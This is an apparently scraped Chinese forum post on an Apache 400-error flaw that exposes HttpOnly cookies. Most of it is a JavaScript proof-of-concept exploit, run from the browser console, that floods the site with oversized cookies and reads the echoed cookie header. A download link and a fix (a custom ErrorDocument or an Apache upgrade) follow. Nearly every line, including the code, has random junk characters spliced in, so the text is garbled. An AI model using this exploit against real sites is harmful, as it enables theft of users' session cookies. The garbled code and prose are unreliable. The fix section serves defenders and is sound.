很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。5 \" N" B* U# n
# ^7 }- r( W+ `3 a0 `
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:& M/ t9 Z6 p# M' s- X9 s
) U1 m+ M# a# z- V6 K" X& k7 b. f: ?; k1 }, p' c. m
// http://www.exploit-db.com/exploits/18442/
: B) a" Q: f7 L9 ]4 Cfunction setCookies (good) {
; `# m) K o: F" F// Construct string for cookie value
) C* t. e0 `! m6 d3 pvar str = "";; t% I* s( ^, b! x+ w6 |
for (var i=0; i< 819; i++) {
7 m. a3 ^4 S' j0 x2 Estr += "x";) G9 d9 H" l" { j& e
}
( T, @# |, |5 ]6 v: t5 U2 C, ]+ i// Set cookies" k( \/ e9 r) B' u4 h) Y% ]
for (i = 0; i < 10; i++) {
; ^' }7 k3 y9 k$ Q. ~: _// Expire evil cookie
# g6 L$ o: Q3 |4 J- U1 xif (good) {
7 S% D, \. \8 d! f/ q0 f8 ^0 W8 T& m/ j8 vvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";0 Q+ O% \6 n9 |% y* [# C. b \ n
}
3 M' Z d& y: S2 p. a) P3 P- @1 B// Set evil cookie
7 e1 b+ S' n( S- s/ Relse {& L# k* j5 V7 g3 l& Y: O
var cookie = "xss"+i+"="+str+";path=/";& N$ }, I6 t6 H( k. n3 X4 e
}
1 |4 c+ m6 a/ k: Mdocument.cookie = cookie;
9 m f7 |5 S, Z# G w% {}
V8 P+ q' J1 ^}: T! H9 Z. D) [/ V! E+ k
function makeRequest() {9 F1 F% b! x6 \6 e& Y3 V
setCookies();
: q) I4 L& Y ^2 o3 u5 A1 ~+ B7 yfunction parseCookies () {
2 D4 m Z9 A i" x) n- S# p$ Avar cookie_dict = {};
- \; }* a$ u, L1 _// Only react on 400 status# n! Y- }$ D6 I; \" g8 P
if (xhr.readyState === 4 && xhr.status === 400) {0 I* p q1 u6 F5 Q
// Replace newlines and match <pre> content- w4 A1 c7 d- N, g4 W
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
! N" F6 ^4 ~2 n# V& Uif (content.length) {" A [7 G# M2 K' W" s: l. ^6 h( k
// Remove Cookie: prefix
7 ~9 T1 p! k! r# [content = content[1].replace("Cookie: ", "");
5 c9 F, i W4 K0 b, \3 [var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);: R( I" i+ O% a0 }' `
// Add cookies to object# |+ |/ W, ]" r! n/ m( }- p
for (var i=0; i<cookies.length; i++) {
) A0 Y: V' @3 ~8 J9 a& P$ Z- {var s_c = cookies.split('=',2);$ U) B s0 e% R/ Q
cookie_dict[s_c[0]] = s_c[1];
* `) y' Z' g9 X' b$ d7 {; y, h}
+ r0 L2 Q q, s$ l( n: I# g}
* `$ a4 U. a! _; r- }5 ]// Unset malicious cookies( {0 P' I0 e" [! h! B
setCookies(true);, G$ V7 p! y- G3 M
alert(JSON.stringify(cookie_dict));* X+ X8 r& {' O5 [
}
3 R* n# k1 q& v$ Q' i}8 L8 N2 ^8 `- X+ w
// Make XHR request
8 _7 k. x, L# b' Vvar xhr = new XMLHttpRequest();2 a [ U; u, d
xhr.onreadystatechange = parseCookies;
R- y* }: H4 T4 Gxhr.open("GET", "/", true);! f8 m. _* P! K0 p7 ?. S; X
xhr.send(null);
K( h1 F4 W0 G( ?6 `}
2 s& I6 V8 M, X- w2 vmakeRequest();
, h, q' S, e1 U. j0 G, |7 _+ g
7 B9 ~0 e" B; L4 X! O) f) K你就能看见华丽丽的400错误包含着cookie信息。
" {$ p5 P# q8 x- `" h" k
* t$ W4 T ~/ o下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download# ^5 D6 }% E2 ?; y
+ y: ^ Y8 S" y修复方案:1 T( D9 N9 d# ]* J/ f
' J0 G. l5 X5 _3 yApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下( K; f& y+ A0 z* x9 f$ D6 O( u
3 J+ I* z7 K; o& `8 U! wIn the event of a problem or error, Apachecan be configured to do one of four things,9 b' h* ]. H& P
8 L3 e5 R' X* f$ m+ u
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息2 u0 L$ Z" k3 }3 a! E
2. output acustomized message输出一段信息9 D4 s) ~/ I4 C7 V& q& a8 ?
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 ) y( ^ M+ x7 A! x7 c8 I5 w: m
4. redirect to an external URL to handle theproblem/error转向一个外部URL* Z6 ?9 w% I1 i* T7 y+ l
" u8 ?) [6 X& L经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容8 t' a5 t* g, @* J# A2 b
" v) r# R9 ?9 p. k# k5 d }& U3 z* U/ JApache配置:
* t7 a4 x: e: d6 K6 k( q5 w8 @0 l4 m' i: A
ErrorDocument400 " security test"
6 ~; M. T: V* ^$ p! n6 }, V
8 b0 d$ Y# T n, [5 @" a当然,升级apache到最新也可:)。& C' l% t( M: v9 t; G
" Y1 E' k% a& L- r参考:http://httpd.apache.org/security/vulnerabilities_22.html8 Y! w' W) ~9 C {9 s# Z( {
( P, m4 `7 L, W$ w+ }- { |